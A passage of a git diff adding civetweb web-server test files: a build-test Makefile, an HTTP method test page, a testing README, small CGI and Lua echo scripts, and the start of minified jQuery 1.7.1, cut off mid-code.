+ end
+ return str
+end
+
+function HugeText(str)
+ local txt = {"", "", "", "", "", "", "", ""}
+ for i=1,string.len(str) do
+ local s = HugeLetter(str:sub(i,i))
+ for b=1,8 do
+ if i>1 then
+ txt[b] = txt[b] .. " " .. s[b]
+ else
+ txt[b] = txt[b] .. s[b]
+ end
+ end
+ end
+ return txt
+end
+
+return HugeText
diff --git a/src/civetweb/test/MakefileTest.mk b/src/civetweb/test/MakefileTest.mk new file mode 100644 index 000000000..08d8e337e --- /dev/null +++ b/src/civetweb/test/MakefileTest.mk @@ -0,0 +1,88 @@ +# +# Copyright (c) 2013 No Face Press, LLC +# License http://opensource.org/licenses/mit-license.php MIT License +# + +#This makefile is used to test the other Makefiles + +TOP = .. +TEST_OUT = test_install + +include $(TOP)/resources/Makefile.in-os + +all: test + +test: buildoptions buildlibs buildinstall +test: buildexamples threaded + +ifeq ($(TARGET_OS),OSX) +test: dmg +endif + +test: clean + @echo PASSED + +dmg: + @echo "================" + $(MAKE) -C $(TOP) -f Makefile.osx clean package + +buildexamples: + @echo "================" + $(MAKE) -C $(TOP)/examples/embedded_c clean all + $(MAKE) -C $(TOP)/examples/embedded_c clean + @echo "================" + $(MAKE) -C $(TOP)/examples/embedded_cpp clean all + $(MAKE) -C $(TOP)/examples/embedded_cpp clean + @echo "================" + $(MAKE) -C $(TOP)/examples/chat clean all + $(MAKE) -C $(TOP)/examples/chat clean + @echo "================" + $(MAKE) -C $(TOP)/examples/hello clean all + $(MAKE) -C $(TOP)/examples/hello clean + @echo "================" + $(MAKE) -C $(TOP)/examples/post clean all + $(MAKE) -C $(TOP)/examples/post clean + @echo "================" + $(MAKE) -C $(TOP)/examples/upload clean all + $(MAKE) -C $(TOP)/examples/upload clean + @echo "================" + $(MAKE) -C $(TOP)/examples/websocket clean all + $(MAKE) -C $(TOP)/examples/websocket clean + +buildoptions: + @echo "================" + $(MAKE) -C $(TOP) clean build + @echo "================" + $(MAKE) -C $(TOP) clean build WITH_IPV6=1 + @echo "================" + $(MAKE) -C $(TOP) clean build WITH_WEBSOCKET=1 + @echo "================" + $(MAKE) -C $(TOP) clean build WITH_LUA=1 + @echo "================" + $(MAKE) -C $(TOP) clean build WITH_LUA=1 WITH_IPV6=1 WITH_WEBSOCKET=1 + +threaded: + @echo "================" + $(MAKE) -j 8 -C $(TOP) clean WITH_LUA=1 + $(MAKE) -j 8 -C $(TOP) build WITH_LUA=1 + +buildinstall: + @echo "================" + $(MAKE) -C $(TOP) clean install PREFIX=$(TEST_OUT) + +buildlibs: + @echo "================" + $(MAKE) -C $(TOP) clean lib + @echo "================" + $(MAKE) -C $(TOP) clean slib + @echo "================" + $(MAKE) -C $(TOP) clean lib WITH_CPP=1 + @echo "================" + $(MAKE) -C $(TOP) clean slib WITH_CPP=1 + +clean: + @echo "================" + $(MAKE) -C $(TOP) clean + rm -rf $(TOP)/$(TEST_OUT) + +.PHONY: all buildoptions buildinstall clean os linux diff --git a/src/civetweb/test/MethodTest.xhtml b/src/civetweb/test/MethodTest.xhtml new file mode 100644 index 000000000..b9365e2ce --- /dev/null +++ b/src/civetweb/test/MethodTest.xhtml @@ -0,0 +1,200 @@ +<!DOCTYPE HTML>
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+ <title>HTTP method test</title>
+ <style type="text/css" media="screen">
+ body {background:#eee; margin:0%; padding:0%; padding-top:0%; padding-left:1%}
+ .cform {margin:0%; padding:0%; padding-top:0%; padding-left:2%;}
+ h3 {margin:0%; padding:0%; padding-top:0%; padding-left:0%;}
+ td {vertical-align:top; text-align:left;}
+ </style>
+ <script type="text/javascript"><![CDATA[
+
+ function getParams() {
+ var result = {};
+ var kvPairs = location.search.slice(1).split('&');
+
+ kvPairs.forEach(
+ function(kvPair) {
+ kvPair = kvPair.split('=');
+ result[kvPair[0]] = kvPair[1] || '';
+ }
+ );
+
+ return result;
+ }
+
+ function noBody() {
+ document.getElementById("body_none").checked = true;
+ }
+
+ function load() {
+ var params = getParams();
+ var method = params["method"];
+ if (!method) {
+ method = "GET";
+ }
+ var path = params["path"];
+ if (!path) {
+ path = "";
+ }
+
+ var elem = document.getElementById('h1');
+ elem.innerHTML = "HTTP method test page";
+
+ document.getElementById("proto_http").checked = (window.location.protocol != "https:");
+ document.getElementById("proto_https").checked = (window.location.protocol == "https:");
+ document.getElementById("server").value = location.host;
+ document.getElementById("resource").value = path;
+
+ setRadioValue("method", method);
+ noBody();
+ }
+
+ function setRadioValue(elmname, value) {
+ var elms = document.getElementsByName(elmname);
+ var len = elms.length;
+ var ret = false;
+
+ for (var i=0; i<len; i++) {
+ elms[i].checked = (elms[i].value == value);
+ ret |= elms[i].checked;
+ }
+ return ret;
+ }
+
+ function getRadioValue(elmname) {
+
+ var elms = document.getElementsByName(elmname);
+ var len = elms.length;
+ var ret = "";
+
+ for (var i=0; i<len; i++) {
+ if (elms[i].checked) {
+ ret = elms[i].value;
+ }
+ }
+ return ret;
+ }
+
+ function sendreq() {
+ var proto = getRadioValue("protocol");
+ var host = document.getElementById("server").value;
+ var res = document.getElementById("resource").value;
+ var addr = proto + "://" + host + "/" + res;
+ var meth = getRadioValue("method");
+ var body = getRadioValue("body");
+
+ xmlhttp = new XMLHttpRequest();
+ if (!xmlhttp) {
+ alert("XMLHttpRequest not available");
+ window.history.back();
+ }
+
+ xmlhttp.open(meth,addr,true);
+
+ if (body == '*') {
+ body = null;
+ } else {
+ if (body == '**') {
+ var body_bytes = document.getElementById("body_bytes").value;
+ body_bytes = parseInt(Number(body_bytes) || 0) || 0;
+ body = "";
+ for (var i=0; i<body_bytes; i++) {
+ var ascii = Math.floor((Math.random() * 94) + 32);
+ body = body + String.fromCharCode(ascii);
+ }
+ }
+ xmlhttp.setRequestHeader("Content-Length", body.length);
+ }
+
+ xmlhttp.onreadystatechange = function()
+ {
+ var laddr = addr;
+ var lmeth = meth;
+ var blen = "";
+ if (body) {
+ blen = "\nWith " + body.length + " bytes body data";
+ }
+
+ if (xmlhttp.readyState == 4)
+ {
+ alert(lmeth + " " + laddr + blen + "\n\nResponse: " + xmlhttp.status + "\n\n" + xmlhttp.responseText);
+ }
+ }
+
+ xmlhttp.send(body);
+
+ }
+
+ ]]></script>
+
+</head>
+<body onload="load()">
+
+<h1 id='h1'>Fatal error: Javascript not available!</h1>
+
+<h2>Test parameters</h2>
+<form lass="cform">
+
+<h3>Protocol</h3>
+<input id="proto_http" type="radio" name="protocol" value="http" /> http <br />
+<input id="proto_https" type="radio" name="protocol" value="https" /> https
+
+<h3>Server/Host</h3>
+<input id="server" type="text" name="server" value="" />
+
+<h3>Resource</h3>
+<input id="resource" type="text" name="resource" value="" />
+
+<h3>Method</h3>
+<!-- http://www.restpatterns.org/HTTP_Methods -->
+<!-- http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html -->
+<table style="border-spacing:15px 0px;">
+ <tr>
+ <td><a href="http://tools.ietf.org/html/rfc7231#section-4.2.1">Save Methods</a></td>
+ <td>"Unsave" <a href="http://tools.ietf.org/html/rfc7231#section-4.2.2">Idempotent Methods</a></td>
+ <td>Non-Idempotent Methods</td>
+ <td>Special</td>
+ </tr>
+ <tr>
+ <td>
+<input id="method_opt" type="radio" name="method" value="OPTIONS" onclick="noBody()" /> OPTIONS <br />
+<input id="method_get" type="radio" name="method" value="GET" onclick="noBody()" /> GET <br />
+<input id="method_hea" type="radio" name="method" value="HEAD" onclick="noBody()" /> HEAD <br />
+<input id="method_tra" type="radio" name="method" value="TRACE" /> TRACE <br />
+<input id="method_pro" type="radio" name="method" value="PROPFIND" /> PROPFIND <br />
+ </td>
+ <td>
+<input id="method_put" type="radio" name="method" value="PUT" /> PUT <br />
+<input id="method_del" type="radio" name="method" value="DELETE" /> DELETE <br />
+<input id="method_cop" type="radio" name="method" value="COPY" /> COPY <br />
+<input id="method_cop" type="radio" name="method" value="MOVE" /> MOVE <br />
+<input id="method_ppa" type="radio" name="method" value="PROPPATCH" /> PROPPATCH <br />
+<input id="method_unl" type="radio" name="method" value="UNLOCK" /> UNLOCK <br />
+ </td>
+ <td>
+<input id="method_pos" type="radio" name="method" value="POST" /> POST <br />
+<input id="method_pat" type="radio" name="method" value="PATCH" /> PATCH <br />
+<input id="method_mkc" type="radio" name="method" value="MKCOL" /> MKCOL <br />
+<input id="method_loc" type="radio" name="method" value="LOCK" /> LOCK <br />
+ </td>
+ <td>
+<input id="method_con" type="radio" name="method" value="CONNECT" /> CONNECT <br />
+<input id="method_userdef" type="radio" name="method" value="INVALID" /> <input id="method_name" type="text" name="method_name" value="INVALID" oninput="var elem = document.getElementById('method_userdef'); elem.checked = true; elem.value=value" /> <br />
+ </td>
+ </tr>
+</table>
+
+<h3>Body data</h3>
+<input id="body_none" type="radio" name="body" value="*" /> No body data <br />
+<input id="body_10" type="radio" name="body" value="1234567890" /> 10 Bytes ("1234567890") <br />
+<input id="body_rnd" type="radio" name="body" value="**" /> <input id="body_bytes" type="number" name="body_bytes" value="100" min="0" step="0" max="999999999" oninput="document.getElementById('body_rnd').checked = true" /> Bytes random data <br />
+
+<h3>Submit</h3>
+<input id="send" type="button" onclick="sendreq()" value="Send request" />
+
+</form>
+
+</body></html>
diff --git a/src/civetweb/test/README.md b/src/civetweb/test/README.md new file mode 100644 index 000000000..49f2245df --- /dev/null +++ b/src/civetweb/test/README.md @@ -0,0 +1,25 @@ +Testing +======= + +C API +----- + +The unit tests leverage the CTest and Check frameworks to provide a easy +environment to build up unit tests. They are split into Public and Private +test suites reflecting the public and internal API functions of civetweb. + +When adding new functionality to civetweb tests should be written so that the +new functionality will be tested across the continuous build servers. There +are various levels of the unit tests: + + * Tests are included in + * Test Cases which are there are multiple in + * Test Suites which are ran by the check framework by + * `civetweb-unit-tests` which is driven using the `--suite` and + `--test-case` arguments by + * CTest via `add_test` in `CMakeLists.txt` + +Each test suite and test case is ran individually by CTest so that it provides +good feedback to the continuous integration servers and also CMake. Adding a +new test case or suite will require the corresponding `add_test` driver to be +added to `CMakeLists.txt` diff --git a/src/civetweb/test/ajax/echo.cgi b/src/civetweb/test/ajax/echo.cgi new file mode 100644 index 000000000..577c4bd5d --- /dev/null +++ b/src/civetweb/test/ajax/echo.cgi @@ -0,0 +1,8 @@ +#!/bin/sh + +echo "Content-Type: text/plain; charset=utf-8" +echo "Connection: close" +echo "Cache-Control: no-cache" +echo "" + +echo "{}" diff --git a/src/civetweb/test/ajax/echo.cgi.old b/src/civetweb/test/ajax/echo.cgi.old new file mode 100644 index 000000000..3f4eeebca --- /dev/null +++ b/src/civetweb/test/ajax/echo.cgi.old @@ -0,0 +1,73 @@ +#!/usr/bin/lua5.1
+
+-- Every CGI script that returns any valid JSON object will work in the test.
+-- In case you do not have not yet used CGI, you may want to use this script which is written in Lua.
+-- You may download an interpreter from http://luabinaries.sourceforge.net/download.html, extract it
+-- to some folder in your search path (the path of the webserver or /usr/bin on Linux), and add the
+-- following lines to your .conf file.
+-- cgi_interpreter c:\somewhere\lua5.1.exe
+-- enable_keep_alive yes
+
+resp = "{";
+
+method = os.getenv("REQUEST_METHOD")
+uri = os.getenv("REQUEST_URI");
+query = os.getenv("QUERY_STRING");
+datalen = os.getenv("CONTENT_LENGTH");
+
+if method then
+ resp = resp .. '"method" : "' .. method .. '", ';
+end
+if uri then
+ resp = resp .. '"uri" : "' .. uri .. '", ';
+end
+if query then
+ resp = resp .. '"query" : "' .. query .. '", ';
+end
+if datalen then
+ resp = resp .. '"datalen" : "' .. datalen .. '", ';
+end
+
+resp = resp .. '"time" : "' .. os.date() .. '" ';
+
+resp = resp .. "}";
+
+
+
+
+print "Status: 200 OK"
+print "Connection: close"
+--print "Connection: keep-alive"
+print "Content-Type: text/html; charset=utf-8"
+print "Cache-Control: no-cache"
+--print ("Content-Length: " .. resp:len())
+print ""
+
+print (resp)
+
+
+doLogging = false
+
+if (doLogging) then
+ -- Store the POST data to a file
+ if (method == "POST") then
+ myFile = io.open("data" .. query:sub(4) .. ".txt", "wb");
+ myFile:write(resp)
+ myFile:write("\r\n\r\n")
+ if datalen then
+ datalen = tonumber(datalen)
+ myFile:write("<<< " .. datalen .. " bytes of data >>>\r\n")
+
+ data = io.stdin:read(datalen)
+ myFile:write(data)
+
+ myFile:write("\r\n<<< end >>>\r\n")
+ else
+ myFile:write("<<< no data >>>\r\n")
+ end
+ myFile:close()
+ end
+end
+
+
+
diff --git a/src/civetweb/test/ajax/echo.lp b/src/civetweb/test/ajax/echo.lp new file mode 100644 index 000000000..7276f8137 --- /dev/null +++ b/src/civetweb/test/ajax/echo.lp @@ -0,0 +1,9 @@ +<?
+-- This *.lp file simply runs the *.lua file in the same directory.
+n = string.match(mg.request_info.uri, "^(.*)%.lp$")
+if mg.system:find("Windows") then
+ n = string.gsub(n, [[/]], [[\]])
+end
+n = mg.document_root .. n .. ".lua"
+dofile(n)
+?>
\ No newline at end of file diff --git a/src/civetweb/test/ajax/echo.lua b/src/civetweb/test/ajax/echo.lua new file mode 100644 index 000000000..131751629 --- /dev/null +++ b/src/civetweb/test/ajax/echo.lua @@ -0,0 +1,35 @@ +resp = "{";
+
+method = mg.request_info.request_method
+uri = mg.request_info.uri
+query = mg.request_info.query_string
+datalen = nil -- TODO: "CONTENT_LENGTH" !
+
+if method then
+ resp = resp .. '"method" : "' .. method .. '", ';
+end
+if uri then
+ resp = resp .. '"uri" : "' .. uri .. '", ';
+end
+if query then
+ resp = resp .. '"query" : "' .. query .. '", ';
+end
+if datalen then
+ resp = resp .. '"datalen" : "' .. datalen .. '", ';
+end
+
+resp = resp .. '"time" : "' .. os.date() .. '" ';
+
+resp = resp .. "}";
+
+
+
+mg.write("HTTP/1.1 200 OK\r\n")
+mg.write("Connection: close\r\n")
+mg.write("Content-Type: text/html\r\n")
+mg.write("Cache-Control: no-cache\r\n")
+--mg.write("Content-Length: " .. resp:len() .. "\n")
+mg.write("\r\n")
+
+mg.write(resp)
+
diff --git a/src/civetweb/test/ajax/jquery.js b/src/civetweb/test/ajax/jquery.js new file mode 100644 index 000000000..198b3ff07 --- /dev/null +++ b/src/civetweb/test/ajax/jquery.js @@ -0,0 +1,4 @@ +/*! jQuery v1.7.1 jquery.com | jquery.org/license */ +(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"<!doctype html>":"")+"<html><body>"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function cb(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function ca(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bE.test(a)?d(a,e):ca(a+"["+(typeof e=="object"||f.isArray(e)?b:"")+"]",e,c,d)});else if(!c&&b!=null&&typeof b=="object")for(var e in b)ca(a+"["+e+"]",b[e],c,d);else d(a,b)}function b_(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function b$(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bT,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=b$(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=b$(a,c,d,e,"*",g));return l}function bZ(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bP),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bC(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?bx:by,g=0,h=e.length;if(d>0){if(c!=="border")for(;g<h;g++)c||(d-=parseFloat(f.css(a,"padding"+e[g]))||0),c==="margin"?d+=parseFloat(f.css(a,c+e[g]))||0:d-=parseFloat(f.css(a,"border"+e[g]+"Width"))||0;return d+"px"}d=bz(a,b,b);if(d<0||d==null)d=a.style[b]||0;d=parseFloat(d)||0;if(c)for(;g<h;g++)d+=parseFloat(f.css(a,"padding"+e[g]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+e[g]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+e[g]))||0);return d+"px"}function bp(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;if(b.nodeType===1){b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c==="object")b.outerHTML=a.outerHTML;else if(c!=="input"||a.type!=="checkbox"&&a.type!=="radio"){if(c==="option")b.selected=a.defaultSelected;else if(c==="input"||c==="textarea")b.defaultValue=a.defaultValue}else a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value);b.removeAttribute(f.expando)}}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c+(i[c][d].namespace?".":"")+i[c][d].namespace,i[c][d],i[c][d].data)}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c=="object"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h&&f&&e.isFunction(d);for(var k=0;k<i;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new 